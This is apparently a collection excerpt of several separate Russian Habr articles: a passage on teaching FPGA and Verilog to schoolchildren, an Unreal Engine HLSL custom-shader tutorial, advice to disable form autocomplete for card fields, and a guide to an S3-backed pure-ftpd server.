Да, CMOS 4000 и 74XX устарели еще в 1970-е, их заменили PAL, GAL, PLD, потом интегрированные чипы. Поэтому в 1970-х их использовали в кружках для детей, а в 1980-е они вышли из моды, так как за умение их использовать перестали платить зарплату, но никто с тех пор не придумал, как нагляднее продемонстрировать например функцию D-триггера, поэтому как приквел к ПЛИС/FPGA их применять можно. В MIT делают так же — [см. Lab #1 здесь](http://web.mit.edu/6.111/volume2/www/f2018/index.html).
После упражнений с микросхемами малой степени интеграции и их эквивалентами на верилоге на ПЛИС можно усложнить задачи и делать на одной ПЛИС то, для чего потребовалось десятки, сотни или тысячи микросхем малой степени интеграции, о чем я поговорю дальше.
Вот пример комбинационной логики, приоритетного шифратора, на микросхемах малой степени интеграции:
А вот как выглядит этот приоритетный шифратор на языке описания аппаратуры Verilog:
```
module priority_encoder
(
input [2:0] in,
output reg [1:0] out
);
always @*
begin
casez (in)
3'b1?? : out = 2'd1;
3'b01? : out = 2'd2;
3'b001 : out = 2'd3;
default : out = 2'd0;
endcase
end
endmodule
```
Вот пример последовательностной логики, сдвигового регистра, на микросхемах малой степени интеграции:
А вот как выглядит этот [сдвиговый регистр на верилоге](https://github.com/yuri-panchul/2017-year-end/blob/master/a_c4e6e10/shift_register.v):
Вот как выглядит процесс синтеза с языков описания аппаратуры и прошивания схемы в реконфигурируемую логику ПЛИС-а:
После таких простых упражнений школьники могу проектировать схемы, которые общаются по интерфейсам SPI, I2C, UART с датчиками освещения, компасами, клавиатурами, производят звук и даже картинки на VGA. Вот уникальный пятиклассник Вячеслав скомбинировал датчик освещения с генератором звука на FPGA плате:
[Код для модуля принимающего данные с датчика освещенности, который использовал Вячеслав.](https://github.com/yuri-panchul/2017-tomsk-novosibirsk-astana/blob/master/parts_and_examples/pmod_als_spi_receiver/pmod_als_spi_receiver.v)
Про работу с VGA дисплеем с ПЛИС недавно вышла книжка, которую стоит перевести на русский для летних лагерей типа новосибирского ЛШЮП или будущего лагеря в зеленоградском МИЭТ.
Другие удобные упражения для начинающих — змейка на 7-сегментном индикаторе, фигуры на светодиодной матрице, ввод с клавиатуры 4x4, генерация нот (цифровой орган), конечные автоматы для распознавания последовательностей (кодовый замок).
Математически-ориентированные школьники могут попробовать сделать [cтековый калькулятор](https://panchul.livejournal.com/201168.html), устройства для вычисления квадратного корня, [систолического массива для нейровычислителя](https://habr.com/ru/post/432378/) или [воплотить в хардвере примеры из Hacker's Delight](https://panchul.livejournal.com/583893.html).
Совсем продвинутые школьники могут разрабатывать простые процессоры с конвейерностью, прерываниями, кэшами итд. Вот девятиклассник Арсений с органом на ПЛИС и девятиклассница Даша с модификацией процессора [schoolMIPS](https://github.com/MIPSfpga/schoolMIPS).
Собственно ради таких продвинутых школьников РОСНАНО помогло организовать онлайн-курс и [практические занятия 17-19 апреля в Москве](http://bit.ly/nanochip-2019). Над этим работало образовательное отделение еНАНО, и немного помогло отделение РОСНАНО в Калифорнии — RUSNANO USA. Его офис находится прямо в мировом центре венчурного капитала, на 3000 Sand Hill Road в Менло-Парке. На Сэнд-Хилл Роад приходили за деньгами основатели Apple, Google и Amazon.
РОСНАНО вложило миллиарды рублей в российские микроэлектронные проекты ЭЛВИС-НеоТек и Байкал Электроникс. Ожидается, что сегодняшние школьники познакомятся с основами RTL2GDSII, потом выучатся в университетах типа МФТИ, МИЭТ или ИТМО, станут специалистами класса Жерарда Вильямса Третьего, и потом РОСНАНО будет вкладывать в их проекты.
 | https://habr.com/ru/post/446798/ | null | ru | null |
# Руководство по созданию собственных шейдеров в Unreal Engine
Благодаря системе нодов редактор материалов является отличным инструментом для создания шейдеров. Однако у него есть свои ограничения. Например, там невозможно создавать циклы и конструкции switch.
К счастью, эти ограничения можно обойти с помощью написания собственного кода. Для этого существует нод Custom, позволяющий писать код HLSL.
В этом туториале вы научитесь следующему:
* Создавать нод Custom и настраивать его входы
* Преобразовывать ноды материалов в HLSL
* Изменять файлы шейдеров с помощью внешнего текстового редактора
* Создавать функции HLSL
Чтобы продемонстрировать все эти возможности, мы воспользуемся HLSL для снижения насыщенности изображения сцены, вывода различных текстур сцены и создания гауссова размытия (Gaussian blur).
> *Примечание:* подразумевается, что вы уже знакомы с основами использования Unreal Engine. Если вы новичок в Unreal Engine, то изучите нашу серию туториалов из десяти частей [Unreal Engine для начинающих](https://habrahabr.ru/post/344394/).
>
>
>
> В туториале также предполагается, что вы знакомы с похожими на C языками, такими как C++ или C#. Если вам знакомы синтаксически схожие языки, например, Java, то вы тоже сможете разобраться.
> *Примечание:* этот туториал является частью серии туториалов, посвящённых шейдерам:
>
>
>
> * [Часть 1: Cel Shading](https://habrahabr.ru/post/350172/)
> * [Часть 2: Toon-контуры](https://habrahabr.ru/post/352814/)
> * Часть 3: Создание собственных шейдеров с помощью HLSL
>
Приступаем к работе
-------------------
Начните с загрузки материалов этого туториала (скачать их можно [здесь](https://koenig-media.raywenderlich.com/uploads/2018/03/CustomShaders.zip)). Распакуйте их, перейдите в *CustomShadersStarter* и откройте *CustomShaders.uproject*. Вы увидите следующую сцену:
Сначала мы воспользуемся HLSL для снижения насыщенности изображения сцены. Для этого нам нужно создать и применить нод Custom в материале постобработки.
Создание нода Custom
--------------------
Перейдите в папку *Materials* и откройте *PP\_Desaturate*. Этот материал мы будем редактировать, чтобы получить эффект уменьшения насыщенности.
Для начала создайте нод *Custom*. Как и другие ноды, он может иметь несколько входов, но только всего один выход.
Затем выберите нод Custom и перейдите в панель Details. Вы увидите следующее:
Вот, что делает каждое из свойств:
* *Code:* сюда мы поместим наш код HLSL
* *Output Type:* вывод может быть в интервале от одиночного значения (*CMOT Float 1*) до четырёхканального вектора (*CMOT Float 4*).
* *Description:* текст, который будет отображаться на самом ноде. Это хороший способ давать названия нодам Custom. Наберите здесь *Desaturate*.
* *Inputs:* здесь можно добавлять и называть контакты входов. Затем с помощью этих имён мы сможем ссылаться на эти входы в коде. Задайте входу *0* имя *SceneTexture*.
Для снижения насыщенности изображения замените текст внутри *Code* на следующий:
```
return dot(SceneTexture, float3(0.3,0.59,0.11));
```
> *Примечание:* `dot()` — это [предопределённая функция](https://msdn.microsoft.com/en-us/library/windows/desktop/ff471376(v=vs.85).aspx). Такие функции встроены в HLSL. Если вам понадобится функция наподобие `atan()` или `lerp()`, то сначала проверьте, нет ли уже такой предопределённой функции.
Наконец, соединим всё следующим образом:
Подведём итог:
1. *SceneTexture:PostProcessInput0* будет выводить цвет текущего пикселя
2. *Desaturate* будет получать цвет и снижать его насыщенность. Затем он выводит результат в *Emissive Color*
Нажмите на *Apply* и закройте *PP\_Desaturate*. Теперь насыщенность изображения сцены будет снижена.
Вам может быть интересно, откуда взялся код снижения насыщенности. Когда мы используем нод материала, он преобразуется в HLSL. Если просмотреть сгенерированный код, то можно найти соответствующий фрагмент и скопипастить его. Именно так я преобразовал нод Desaturation в HLSL.
В следующем разделе мы узнаем, как преобразовывать нод материала в HLSL.
Преобразование нодов материалов с HLSL
--------------------------------------
В этом туториале мы преобразуем в HLSL нод *SceneTexture*. Это пригодится позже, когда мы будем создавать гауссово размытие.
Для начала перейдите в папку *Maps* и откройте *GaussianBlur*. Затем вернитесь в *Materials* и откройте *PP\_GaussianBlur*.
Unreal генерирует HLSL для всех нодов, участвующих в конечном выводе. В нашем случае Unreal сгенерирует HLSL для нода *SceneTexture*.
Чтобы просмотреть код HLSL всего материала, выберите *Window\HLSL Code*. При этом откроется отдельное окно со сгенерированным кодом.
*Примечание:* если окно HLSL Code окажется пустым, то необходимо будет включить в Toolbar *Live Preview*.
Так как сгенерированный код имеет длину в несколько тысяч строк, то по нему достаточно сложно перемещаться. Чтобы упростить поиск, нажмите на кнопку *Copy* и вставьте код в текстовый редактор (я пользуюсь [Notepad++](https://notepad-plus-plus.org/)). Затем закройте окно HLSL Code.
Теперь нам нужно найти, где находится код *SceneTexture*. Проще всего это сделать, найдя определение `CalcPixelMaterialInputs()`. Это функция, в которой движок вычисляет все выходы материалов. Если посмотреть в нижнюю часть функции, то можно увидеть конечные значения для каждого выхода:
```
PixelMaterialInputs.EmissiveColor = Local1;
PixelMaterialInputs.Opacity = 1.00000000;
PixelMaterialInputs.OpacityMask = 1.00000000;
PixelMaterialInputs.BaseColor = MaterialFloat3(0.00000000,0.00000000,0.00000000);
PixelMaterialInputs.Metallic = 0.00000000;
PixelMaterialInputs.Specular = 0.50000000;
PixelMaterialInputs.Roughness = 0.50000000;
PixelMaterialInputs.Subsurface = 0;
PixelMaterialInputs.AmbientOcclusion = 1.00000000;
PixelMaterialInputs.Refraction = 0;
PixelMaterialInputs.PixelDepthOffset = 0.00000000;
```
Так как это материал постобработки, нам важен только *EmissiveColor*. Как вы видите, его значение — это значение *Local1*. Переменные вида *LocalX* — это локальные переменные, которые функция использует для хранения промежуточных значений. Если посмотреть чуть выше выходов, то можно увидеть, как движок вычисляет каждую локальную переменную.
```
MaterialFloat4 Local0 = SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 14), 14, false);
MaterialFloat3 Local1 = (Local0.rgba.rgb + Material.VectorExpressions[1].rgb);
```
Конечная локальная переменная (в нашем случае это *Local1*) обычно является вычислением-«пустышкой», поэтому его можно проигнорировать. Это означает, что функцией для нода *SceneTexture* является функция `SceneTextureLookup()`.
Теперь, когда у нас есть нужная функция, давайте её протестируем.
### Использование функции SceneTextureLookup
Для начала зададимся вопросом — что делают параметры? Вот сигнатура `SceneTextureLookup()`:
```
float4 SceneTextureLookup(float2 UV, int SceneTextureIndex, bool Filtered)
```
Вот, что делает каждый параметр:
* *UV:* координата UV, из которой нужно выполнять сэмплирование. Например, UV с координатами *(0.5, 0.5)* будет сэмплировать средний пиксель.
* *SceneTextureIndex:* определяет, из какой текстуры сцены выполнять сэмплирование. Ниже показана таблица каждой текстуры сцены и её индекса. Например, для сэмплирования *Post Process Input 0* мы будем использовать в качестве индекса *14*.
* *Filtered:* определяет, должна ли применяться к текстуре сцены билинейная фильтрация. Обычно имеет значение *false*.
Для тестирования мы будем выводить World Normal. Перейдите в редактор материалов и создайте нод *Custom* с именем *Gaussian Blur*. Затем вставьте в поле *Code* следующее:
```
return SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 8), 8, false);
```
Так мы выведем в текущий пиксель World Normal. `GetDefaultSceneTextureUV()` будет получать UV текущего пикселя.
> *Примечание:* до версии 4.19 можно было получать UV, передавая в качестве входа нод *TextureCoordinate*. В 4.19 правильным способом будет использование `GetDefaultSceneTextureUV()` и передача нужного индекса.
>
>
>
> Это пример того, как написанный вручную код HLSL может быть несовместим с разными версиями Unreal.
Далее отсоедините нод *SceneTexture*. Затем присоедините *Gaussian Blur* к *Emissive Color* и нажмите на *Apply*.
На этом этапе вы получите следующую ошибку:
```
[SM5] /Engine/Generated/Material.ush(1410,8-76): error X3004: undeclared identifier 'SceneTextureLookup'
```
Она сообщает нам, что в нашем материале не существует `SceneTextureLookup()`. Почему же это работает при использовании нода SceneTexture, но не работает с нодом Custom? При использовании *SceneTexture* компилятор включает в код определение `SceneTextureLookup()`. Так как мы его не используем этот нод, то не можем использовать функцию.
К счастью, решить эту проблему просто. Выберите для нода *SceneTexture* ту же текстуру, из которой мы выполняем сэмплирование. В нашем случае нужно выбрать *WorldNormal*.
Затем соедините его с *Gaussian Blur*. Наконец, нам нужно задать контакту входа имя, отличающееся от *None*. В этом туториале мы выберем *SceneTexture*.
> *Примечание:* на момент написания статьи в движке присутствовал баг: если текстуры сцены не одинаковы, то происходит сбой редактора. Однако поскольку это работает, мы можем спокойно изменить текстуру сцены в ноде Custom.
Теперь компилятор включит определение `SceneTextureLookup()`.
Нажмите *Apply* и вернитесь в основной редактор. Теперь вы увидите нормаль мира для каждого пикселя.
Пока редактировать код в ноде Custom вполне удобно, потому что мы работаем с небольшими фрагментами. Однако когда наш код начнёт разрастаться, то поддерживать его будет сложнее.
Для оптимизации рабочего процесса Unreal позволяет нам добавлять внешние файлы шейдеров. Благодаря этому мы можем писать код в собственном текстовом редакторе, а затем возвращаться обратно в Unreal для компиляции.
Использование внешних файлов шейдеров
-------------------------------------
Для начала нам нужно создать папку *Shaders*. Unreal будет просматривать эту папку, когда вы будете использовать в ноде Custom директиву `#include`.
Откройте папку проекта и создайте новую папку *Shaders*. Папка проекта должна выглядеть примерно так:
Затем перейдите в папку *Shaders* и создайте новый файл. Назовите его *Gaussian.usf*. Он будет нашим файлом шейдера.
> *Примечание:* файлы шейдеров должны иметь расширение *.usf* или *.ush*.
Откройте *Gaussian.usf* в текстовом редакторе и вставьте показанный ниже код. После каждого изменения сохраняйте файл.
```
return SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 2), 2, false);
```
Это тот же код, что и раньше, но он выводит *Diffuse Color*.
Чтобы Unreal смог распознать новую папку и шейдеры, нам нужно перезапустить редактор. После перезапуска перейдите к *GaussianBlur*. Затем повторно откройте *PP\_GaussianBlur* и замените код в *Gaussian Blur* на следующий:
```
#include "/Project/Gaussian.usf"
return 1;
```
Теперь после компиляции компилятор заменит первую строку содержимым *Gaussian.usf*. Заметьте, что мы *не* должны заменять `Project` именем своего проекта.
Нажмите на *Apply* и вернитесь в основной редактор. Теперь вместо нормалей мира вы увидите диффузные цвета.
Теперь, когда всё настроено для удобной разработки шейдеров, настало время создания гауссова размытия (Gaussian blur).
*Примечание:* так как это не туториал по гауссовому размытию, я не буду подробно его объяснять. Если вы хотите узнать подробности, то изучите статьи [Gaussian Smoothing](https://homepages.inf.ed.ac.uk/rbf/HIPR2/gsmooth.htm) и [Calculating Gaussian Kernels](https://softwarebydefault.com/2013/06/08/calculating-gaussian-kernels/).
Создание гауссова размытия
--------------------------
Как и в туториале про toon-контуры, в этом эффекте будет использоваться свёртка. Конечный выход — это среднее значение всех пикселей в ядре.
При обычном линейном размытии все пиксели имеют одинаковый вес. При широком размытии это приводит к артефактам. Гауссово размытие позволяет избежать этого, снижая вес пикселя при отдалении от центра. Это придаёт больше важности центральным пикселям.
При использовании нодов материалов свёртка неидеальна из-за большого количества необходимых сэмплов. Например, при ядре 5×5 нам потребуется 25 сэмплов. Удвойте размеры до 10×10, и количество сэмплов увеличится до 100! На этом этапе граф нодов будет походить на тарелку со спагетти.
И здесь нам на помощь приходит нод Custom. С его помощью мы можем написать небольшой цикл `for`, сэмплирующий каждый пиксель в ядре. Первым шагом будет задание параметра, управляющего радиусом сэмплирования.
### Создание параметра радиуса
Сначала вернёмся к редактору материалов и создадим новый *ScalarParameter* под названием *Radius*. Зададим ему значение по умолчанию *1*.
Радиус определяет уровень размытия изображения.
Далее создадим новый вход для *Gaussian Blur* и назовём его *Radius*. Затем создадим нод *Round* и соединим всё следующим образом:
*Round* необходим для того, чтобы размеры ядра всегда были целыми числами.
Теперь пора приступить к кодингу! Так как для каждого пикселя нам нужно вычислять гауссово размытие дважды (вертикальное и горизонтальное смещения), то логично будет превратить это в функцию.
При использовании нода Custom мы не можем создавать функции стандартным образом, потому что компилятор копирует наш код в функцию. Так как мы не можем определять функции внутри функции, то получим ошибку.
К счастью, мы можем воспользоваться таким копипастингом для создания глобальных функций.
### Создание глобальных функций
Как сказано выше, компилятор в буквальном смысле копипастит текст из нода Custom в функцию. То есть если у нас есть следующее:
```
return 1;
```
то компилятор вставит это в функцию *CustomExpressionX*. Он даже не поставит отступ!
```
MaterialFloat3 CustomExpression0(FMaterialPixelParameters Parameters)
{
return 1;
}
```
Посмотрите, что произойдёт, если мы используем такой код:
```
return 1;
}
float MyGlobalVariable;
int MyGlobalFunction(int x)
{
return x;
```
Сгенерированный HLSL превратится в такой:
```
MaterialFloat3 CustomExpression0(FMaterialPixelParameters Parameters)
{
return 1;
}
float MyGlobalVariable;
int MyGlobalFunction(int x)
{
return x;
}
```
Как видите, `MyGlobalVariable` и `MyGlobalFunction()` не находятся внутри функции. Это делает их глобальными, то есть мы можем использовать их где угодно.
> *Примечание:* Заметьте, что во входном коде отсутствует последняя скобка. Это важно, потому что компилятор вставляет в конец скобку. Если оставить скобку, то в результате у нас будет две скобки и мы получим ошибку.
Теперь давайте воспользуемся этим поведением, чтобы создать гауссову функцию.
### Создание гауссовой функции
Функция для [упрощённой гауссианы в одном измерении](https://www.desmos.com/calculator/2rpzsgh5ol) выглядит так:
В результате она даёт колоколообразную кривую, получающую на входе значения в интервале приблизительно от -1 до 1. На выход она подаёт значение от 0 до 1.
В этом туториале мы поместим гауссову функцию в отдельный нод Custom. Создайте новый нод *Custom* и назовите его *Global*.
Затем замените текст *Code* на следующий:
```
return 1;
}
float Calculate1DGaussian(float x)
{
return exp(-0.5 * pow(3.141 * (x), 2));
```
`Calculate1DGaussian()` — это упрощённая 1D-гауссиана в виде кода.
Чтобы эта функция была доступна, нам нужно использовать*Global* где-нибудь в графе материала. Проще всего это сделать, умножив *Global* на первый нод графа. Так мы гарантируем, что глобальные функции определяются до того, как мы используем их в других нодах Custom.
Для начала задайте для *Output Type* нода *Global* значение *CMOT Float 4*. Мы должны сделать это, потому что мы будем выполнять умножение на *SceneTexture*, имеющую тип *float4*.
Далее создадим *Multiply* и соединим всё следующим образом:
Нажмите на *Apply*, чтобы выполнить компиляцию. Теперь все последующие ноды Custom смогут использовать функции, определённые в *Global*.
Следующим шагом будет использование цикла `for` для сэмплирования каждого пикселя в ядре.
### Сэмплирование нескольких пикселей
Откройте *Gaussian.usf* и замените код на следующий:
```
static const int SceneTextureId = 14;
float2 TexelSize = View.ViewSizeAndInvSize.zw;
float2 UV = GetDefaultSceneTextureUV(Parameters, SceneTextureId);
float3 PixelSum = float3(0, 0, 0);
float WeightSum = 0;
```
Вот, для чего нужна каждая из переменных:
* *SceneTextureId:* содержит индекс текстуры сцены, которую мы хотим сэмплировать. Благодаря ей мы не обязаны жёстко задавать индекс в вызовах функций. В нашем случае индекс используется для *Post Process Input 0*.
* *TexelSize:* содержит размер тексела. Используется для преобразования смещений в UV-пространство.
* *UV:* UV для текущего пикселя
* *PixelSum:* используется для накопления цвета каждого пикселя в ядре
* *WeightSum:* используется для накопления веса каждого пикселя в ядре
Далее нам нужно создать два цикла `for`, один для вертикальных смещений, другой для горизонтальных. Добавьте под списком переменных следующее:
```
for (int x = -Radius; x <= Radius; x++)
{
for (int y = -Radius; y <= Radius; y++)
{
}
}
```
Таким образом мы создадим сетку, центрированную на текущем пикселе. Её размеры задаются как *2r + 1*. Например, если радиус равен *2*, то сетка будет иметь размеры *(2 \* 2 + 1) на (2 \* 2 + 1)* или *5×5*.
Далее нам нужно аккумулировать цвета и веса пикселей. Для этого добавим следующий код во внутренний цикл `for`:
```
float2 Offset = UV + float2(x, y) * TexelSize;
float3 PixelColor = SceneTextureLookup(Offset, SceneTextureId, 0).rgb;
float Weight = Calculate1DGaussian(x / Radius) * Calculate1DGaussian(y / Radius);
PixelSum += PixelColor * Weight;
WeightSum += Weight;
```
Вот, что делает каждая из строк:
1. Вычисляет относительное смещение сэмплируемого пикселя и преобразует его в UV-пространство
2. На основе смещения сэмплирует текстуру сцены (в нашем случае это *Post Process Input 0*)
3. Вычисляет вес сэмплированного пикселя. Для вычисления 2D-гауссианы достаточно перемножить две 1D-гауссианы. Деление на `Radius` производится потому, что упрощённая гауссиана ожидает на входе значение от -1 до 1. Это деление нормализует `x` и `y` в нужном интервале.
4. Прибавляет взвешенный цвет к `PixelSum`
5. Прибавляет вес к `WeightSum`
Наконец, нам нужно вычислить результат, являющийся *взвешенным* средним. Для этого добавим в конец файла (за пределами циклов `for`) следующее:
```
return PixelSum / WeightSum;
```
И так мы реализовали гауссово размытие! Закройте *Gaussian.usf* и вернитесь в редактор материалов. Нажмите на *Apply* и закройте *PP\_GaussianBlur*. Используйте *PPI\_Blur*, чтобы протестировать разные радиусы размытия.
*Примечание:* иногда кнопка *Apply* может быть неактивна. Просто внесите не влияющее ни на что изменение (например, переместите нод), и она снова станет активной.
Ограничения
-----------
Несмотря на всю мощь нода Custom, у него есть свои недостатки. В этом разделе я расскажу о некоторых ограничениях и изъянах его использования.
### Доступ к рендерингу
Ноды Custom не могут получать доступ ко многим частям конвейера рендеринга, например, к информации об освещении и векторах движения. При использовании прямого рендеринга ситуация немного отличается.
### Совместимость версий движка
Код HLSL, написанный в одной версии Unreal, не обязательно заработает в другой. Как сказано в туториале, до версии 4.19, для получения UV текстур сцены мы могли пользоваться *TextureCoordinate*. В версии 4.19 для этого нужно использовать `GetDefaultSceneTextureUV()`.
### Оптимизация
Вот, что говорит Epic про оптимизацию:
> Использование нодов Custom делает невозможным сворачивание констант и может приводить к значительно большему количеству инструкций по сравнению с аналогичной версией, построенной на нодах! Сворачивание констант — это оптимизация, используемая UE4 для снижения при необходимости количества шейдерных инструкций.
>
>
>
> Например, цепочка выражений `Time >Sin >Mul by parameter > Add к чему-то` может и будет свёрнута движком UE4 в одну инструкцию, конечное Add. Это возможно, потому что все входы этого выражения (Time, parameter) являются константами на протяжении всего вызова отрисовки, то есть не меняются для каждого пикселя. UE4 не может сворачивать ничего в ноде Custom, что может приводит к созданию менее эффективных шейдеров по сравнению с аналогичными версиями на основе готовых нодов.
>
>
>
> Поэтому лучше всего использовать нод Custom только тогда, когда он предоставляет доступ к функционалу, недоступному в готовых нодах.
Куда двигаться дальше?
----------------------
Готовый проект можно скачать [здесь](https://koenig-media.raywenderlich.com/uploads/2018/03/CustomShaders.zip).
Если вы хотите глубже разобраться в ноде Custom, то рекомендую изучить [блог](http://shaderbits.com/blog) Райана Брука. У него есть посты, подробно объясняющие использование нода Custom для создания raymarching и других эффектов. | https://habr.com/ru/post/353722/ | null | ru | null |
# Отключайте autocomplete
В 1999-м году в браузере IE 5 Микрософт впервые реализовал автозаполнение текстовых полей форм, что позволило вам не вводить текст, который вы уже вводили ранее в поле с данным именем (в том числе на другом сайте). Тогда же появилось нестандартное расширение тега : атрибут autocomplete, установление которого в off позволяло отключить эту функциональность для конкретного поля. Сейчас все популярные браузеры (подсказали, что кроме Оперы) поддерживают автозаполнение и этот атрибут. Он также [введён](http://dev.w3.org/html5/html4-differences/#new-attributes) в стандарт HTML 5. Тем не менее, разработчики веб-сайтов зачастую им пренебрегают.
#### Кредитные карты
Наиболее важное место, где следует его использовать — это поле ввода номера кредитной карты. Следует помнить, что браузер запоминает все значения, вводимые в этом поле. К примеру, Firefox 3.5.x это делает в файле formhistory.sqlite в пользовательском профиле, где они лежат в открытом виде. Установка мастер-пароля в менеджере паролей Firefox не приводит к шифрованию этого файла, и я не нашёл расширений, которые бы это сделали (подскажите, если знаете такие). Я довольно часто пользуюсь веб-шопами и, введя в поиск в моём любимом просмотрщике файлов первые четыре цифры номера своей карточки (которые, кстати, одинаковые для всех карт моего банка), я нашёл пять экземпляров номера карточки под разными именами полей: cc\_number, cregit\_num, CARDNUM, ctl00$cphBody$txtCardNumber и cardnr. В пределах видимости в трёх случаях я нашёл cardholder name, в двух случаях expiration date (часто предлагают выбрать из выпадающего списка, поэтому она не всегда запоминается), в четырёх случаях CVV-код. Замечу, что CVV-код нужен не всем шопам, во многих удаётся успешно покупать, не вводя его.
Это означает простую вещь: человеку с намётанным глазом потребуется около двух минут доступа к незаблокированному компу, чтобы утащить номер кредитки, по которой когда-то что-то покупали. Про раздолье для троянов даже нечего говорить. При этом я не вижу простого способа вычистить это разом, не трогая другие поля автозаполнения: нужно искать редактор базы sqllite, поставить аддон для управления формами (например [Form History Control](https://addons.mozilla.org/ru/firefox/addon/12021) — спасибо [Source](https://habrahabr.ru/users/source/)) либо удалять из поля на всех соответствующих сайтах (а кто их помнит?). Я временно решил проблему, создав HTML-файл такого содержания:
Открыв его в браузере, я в каждом поле нажал «вниз» и «удалить». Сразу после этого номера карточки исчезли из formhistory.sqlite.
Если ваш сайт запрашивает информацию о карточке, обязательно добавляйте `autocomplete="off"` в поле ввода номера, владельца карты и cvv-кода. Было бы здорово увидеть поддержку и со стороны браузеров. К примеру, расширение для Firefox, которое позволяет выборочно сохранять текст в соответствии с регулярным выражением. Для номера карточки всё просто: 16 цифр подряд — не сохраняем. Не припомню, чтобы я вводил ещё какие-то 16-значные числа, которые бы я хотел запомнить в автозаполнении. Шифрование данных автозаполнения с использованием мастер-пароля было бы также уместно.
#### Капча
Это не является проблемой безопасности, но частенько раздражает. Если ваш сайт предлагает ввести капчу, автозаполнение надо выключать, так как она всё равно не повторяется. Такое я видел даже в Google:
#### Собственное автозаполнение
Если вы сами реализовали автозаполнение (к примеру, с подгрузкой вариантов через Ajax), то не забудьте отключить браузерное. Обычно не забывают, но я сталкивался с этим, к примеру, на сайте [Wikiled](http://www.wikiled.com/):
Верхний вариант предложен браузером, а нижние — механизмом автозаполнения самого сайта (ещё и влезла какая-то подсказка про экранную клавиатуру). В результате пользоваться сайтовским автозаполнением очень тяжело, особенно с клавиатуры, так как стрелки перехватывает браузер.
В целом мораль: для каждого текстового поля, которое вы создаёте, на автомате прикидывайте, будет ли пользователю польза от автозаполнения в этом поле. Если нет, то отключайте. Кстати, автозаполнение по умолчанию можно отключить для всей формы, используя , а затем при необходимости включить для отдельных полей.
**Upd:** Чтобы XHTML-документ проходил [валидацию W3C](http://validator.w3.org), можно расширить DTD, например, так:
`xml version="1.0" encoding="UTF-8"?
]>` | https://habr.com/ru/post/80341/ | null | ru | null |
# Высокодоступный FTP-сервер с хранением данных в AWS S3
Добрый день, уважаемые читатели.
Снова хочу поделиться с вами приобретенным опытом.На одном из проектов была поставлена цель организовать FTP-сервер повышенной надёжности. Под повышенной надёжностью подразумевалось следующее:* Данные хранятся в AWS S3
* Сам FTP-сервер (выбран был Pure-ftpd) должен быть максимально возможно доступен
* Организовать балансировку нагрузки (опционально)
**Шаг первый**: Установка s3fs и монтирование S3 bucket в качестве дискового раздела.
Тут вариантов не много, вернее один (если ошибаюсь — поправьте) — [s3fs](https://code.google.com/p/s3fs/wiki/FuseOverAmazon). Разработчики s3fs на своей странице утверждают, что *«s3fs is stable and is being used in number of production environment»*. Процесс установки s3fs расписывать нет смысла, он есть [тут](https://code.google.com/p/s3fs/wiki/InstallationNotes).Остановлюсь только на действительно важных моментах.Во-первых, у последней версии s3fs проблемы с синхронизацией данных. Когда вы заливаете новый файл на S3, он тут же появляется у вас на сервере, но если потом вы вносите изменения в этот файл на S3, то на сервере по-прежнему остается старая версия. Налицо проблема с кешированием. Попытки монтировать S3 bucket с различными опциями включения и выключения кеширования ничего не дали. После тестирования различных релизов s3fs была найдена [версия](https://code.google.com/p/s3fs/downloads/detail?name=s3fs-r177-source.tar.gz&can=2&q=), где данный баг себя не проявил. Скачиваем пакет, распаковываем и устанавливаем как написано в Makefile. Чтобы s3fs заработал корректно, убедитесь что в системе уже установлены следующие пакеты:* fuse
* fuse-devel
* fuse-libs
Для проверки можно попробовать примонтировать бакет командой:
```
#/usr/bin/s3fs mybucket /mnt/mybucket/ -o accessKeyId=XXXXXXXXXXXXX -o secretAccessKey=YYYYYYYYYYYYYYYYY -o allow_other,rw -o readwrite_timeout=120;
```
**Шаг второй**: Установка pure-ftpd.
Тут казалось бы ничего интересного. Достаточно просто установить при помощи любого пакетного менеджера. Однако pure-ftpd отличается своей параноидальностью, и перед тем, как удалить файл он сперва копирует его в новый временный файл. А когда размер файла составляет несколько гигабайт, то эта процедура занимает дополнительное время. А в нашем случае, когда данные хранятся не локально, а на S3, то и совсем не малое время.
Чтобы отключить создание временных файлов перед удалением, я пересобрал pure-ftpd с опцией *--without-sendfile*. Конечно было бы правильнее собрать свой пакет и установить его в систему, но я делал на быструю руку и на это отвлекаться не стал.
**Шаг третий**: Настройка прав пользователей.
Один из самых интересных нюансов. По требованиям заказчика в каждой домашней папке пользователя должны находиться каталоги, которые пользователь удалить не может или не может в них писать. Если бы мы имели дело с обычными дисковыми разделами, то мы могли просто сменить владельца папки. Но в нашем случае это не сработает так как права будут наследоваться от опции, с которой примонтирован раздел (ro ил rw). То есть пользователь или может всё, или только читать. Но у pure-ftpd есть одно полезное свойство, он умеет «ходить» по ссылкам. Для этого во время сборки добавляем ещё одну опцию *--with-virtualchroot.* Таким образом, мы можем примонтировать бакет дважды, в *read-only* и *read-write* режимах и сделать ссылки на них в домашних директориях пользователей.
```
#/usr/bin/s3fs mybucket /mnt/mybucketrw/ -o accessKeyId=XXXXXXXXXXXXX -o secretAccessKey=YYYYYYYYYYYYYYYYY -o allow_other,rw -o readwrite_timeout=120;
#/usr/bin/s3fs mybucket /mnt/mybucketro/ -o accessKeyId=XXXXXXXXXXXXX -o secretAccessKey=YYYYYYYYYYYYYYYYY -o allow_other,ro -o readwrite_timeout=120;
#mount | grep s3fs
s3fs on /mnt/mybucketro type fuse.s3fs (ro,nosuid,nodev,allow_other)
s3fs on /mnt/mybucketrw type fuse.s3fs (rw,nosuid,nodev,allow_other)
```
Директория пользователя будет выглядеть так:
```
ls -la /mnt/Users/User1/
.
lrwxrwxrwx 1 root root 15 Mar 25 09:10 mybucketro/folder1 -> /mnt/mybucketro/folder1
lrwxrwxrwx 1 root root 15 Mar 25 09:10 mybucketrw/folder2 -> /mnt/mybucketrw/folder2
```
Теперь мы дали пользователю доступ на чтение в папку */mnt/mybucketro/folder*1 и доступ на запись в папку */mnt/mybucketrw/folder2*.На этом этапе можем считать, что пункт первый ТЗ (Данные хранятся в AWS S3) выполнен.
**Шаг четвертый**: Настройка высокой доступности.
Тут решено было задействовать старый добрый AWS LoadBalancer и его чудесный HealthCheck.
Открываем AWS Console и создаём новый балансер (Уверен, что повторять процесс создания балансера необходимости нет. Если что, вот [напоминалочка](http://habrahabr.ru/company/epam_systems/blog/138732/)).
В Ping Protocol выбираем TCP, Ping Port — 21.
Всё, теперь жизнеспособность сервера будет проверяться по доступности 21 порта, то есть нашего FTP-сервера.
